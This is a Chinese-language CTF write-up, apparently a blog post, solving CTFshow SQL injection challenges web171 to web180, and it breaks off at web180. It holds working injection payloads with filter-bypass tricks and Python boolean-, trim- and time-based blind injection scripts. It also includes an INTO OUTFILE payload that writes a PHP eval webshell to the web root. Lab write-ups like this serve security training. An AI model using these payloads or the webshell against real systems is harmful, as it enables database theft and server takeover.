CTFshow sql注入 上篇(web171-220)


前言

师傅们加油!!!


题目

web 171(万能密码)

//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

id存在注入,可以直接用万能密码' or 1=1 %23,这时候#会把后面过滤了, where username !='flag' and id = '' or 1=1 %23条件恒成立,select语句返回所有结果

web 172(回显内容过滤,base64或者hex编码绕过)

(猫猫挺好玩的)

发现对username的回显内容进行检测

//检查结果是否有flag
    if($row->username!=='flag'){
      $ret['msg']='查询成功';
    }

可以用base64编码或者hex编码绕过,to_base64(),hex()

'  union select hex(username),password from ctfshow_user2 where username='flag

web 173(回显内容过滤,base64或者hex编码绕过)

对比上题,对所有回显内容都做了检测

//检查结果是否有flag
    if(!preg_match('/flag/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

由于flag格式是ctfshow{XXX},所以我们的flag不会检测到,直接用上题的payload,把ctfshow_user2改成ctfshow_user3

'  union select 1,hex(username),password from ctfshow_user3 where username='flag

突然想起来,如果flag格式是ctfshow{XXX}话,过滤flag并没有什么影响,已经知道表名,可以直接查询password拿到flag

'  union select 1,1,password from ctfshow_user3 where username='flag

web 174 (布尔盲注丶trim盲注丶replace替换字符)

过滤更严格了,数字也会被检测到

//检查结果是否有flag
    if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

试过了编码,都没有回显,应该是编码后还是存在数字,只能换个方法了

想到可以用盲注去解,保险起见现在burp抓包根据请求包写个盲注脚本,因为ctfshow的flag是用了uuid加密,可以直接构造uuid字典uuid=string.ascii_lowercase+"-}{"+string.digits

flag格式ctfshow{xxxxxxxx(8)-xxxx(4)-xxxx(4)-xxxx(4)-xxxxxxxxxxxx(12)}
其中每个 x 是 0-9 或 a-f 范围内的一个十六进制的数字。

布尔盲注

import requests
import string

url="http://b1c54244-c67c-41e9-80af-c6c916ee3cf2.challenge.ctf.show//api/v4.php?id=1'"

uuid=string.ascii_lowercase+"-}{"+string.digits
flag=""

for i in range(1,46):
    for j in uuid:	    
        payload = "and ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag') from {0} for 1))={1}--%20&page=1&limit=10".replace(" ", "/**/").format(i,ord(j))
        res = requests.get(url+payload)
        print(j)
        if "admin" in res.text:
            flag += j
            print("flag=",flag)
            break
        else:
            pass

trim盲注

# @Author:Kradress
import requests
import string

url="http://b1c54244-c67c-41e9-80af-c6c916ee3cf2.challenge.ctf.show/api/v4.php?id=1'"

uuid=string.ascii_lowercase+"-}{"+string.digits
flag="ctfshow{"

for i in range(1,46):
    for j in uuid:	    
        payload = f"and trim(leading '{flag}{j}' from (select group_concat(password) from ctfshow_user4 where username = 'flag'))=trim(leading '{flag}.' from (select group_concat(password) from ctfshow_user4 where username = 'flag'))--%20".replace(" ", "/**/")
        res = requests.get(url+payload)
        print(j)
        if "admin" not in res.text:
            flag += j
            print("flag=",flag)
            break
        else:
            pass

看了下群主的思路,可以用replace函数去把数字替换成其他字符

replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'0',')'),'9','('),'8','*'),'7','&'),'6','^'),'5','%'),'4','$'),'3','#'),'2','@'),'1','!')
# "a1b2c3d4e5" => "a!b@c3d4e5"

web 175(时间盲注 二分法和Mysql写webshell)

本身自己写了一个时间盲注的脚本,但是表现不佳,跑的速度太慢了,参考了Y4tacker师傅的脚本,用了二分法

import requests

url = "http://82f3585f-b6e9-42c4-b8fa-6bd57cf51887.challenge.ctf.show/api/v5.php?id=1'"

result = ''

for i in range(1,40):
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1 # 中间指针等于头尾指针相加的一半
        payload = "and if(ascii(substr((select  password from ctfshow_user5 where username = 'flag' ),{0},1))>{1},sleep(3),1)%23".format(i,mid)
        try:
            r = requests.get(url + payload, timeout=0.5)
            tail = mid 
        except:
            head = mid + 1 #sleep导致超时

    if head != 32:
        result += chr(head)
        print(result)
    else:
        break

还有种办法是MySQL写webshell,可以用outfiledumpfile来写shell

联合查询

?id=' UNION ALL SELECT 1,2,'<?php echo 123;eval($_POST[0]);?>',3 into outfile '/var/www/html/1.php' %23
?id=' UNION ALL SELECT 1,2,'<?php echo 123;eval($_POST[0])?>',3 into dumpfile '/var/www/html/1.php' %23

web 176(大小写绕过)

用order by,得知表有3列,发现select被过滤,但可以用大小写绕过

1' union sElect 1,2, group_concat(password) from `ctfshow_user`-- 

web 177(过滤空格)

可以用这些代替空格

%09
%0a
%0d  
%0c
/**/  
+
1'%0aunion%0asElect%0a1,2,%0agroup_concat(password)%0afrom%0a`ctfshow_user`%23

web178 (过滤空格)

上题的也可以解出来,换个方式

1'or'1'='1'%23

web179 (过滤空格)

%0c没被过滤

1'%0cunion%0csElect%0c1,2,%0cgroup_concat(password)%0cfrom%0c`ctfshow_user`%23

web180 (过滤空格)

发现#也被过滤了,而且只能回显一行

-
  • 12
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值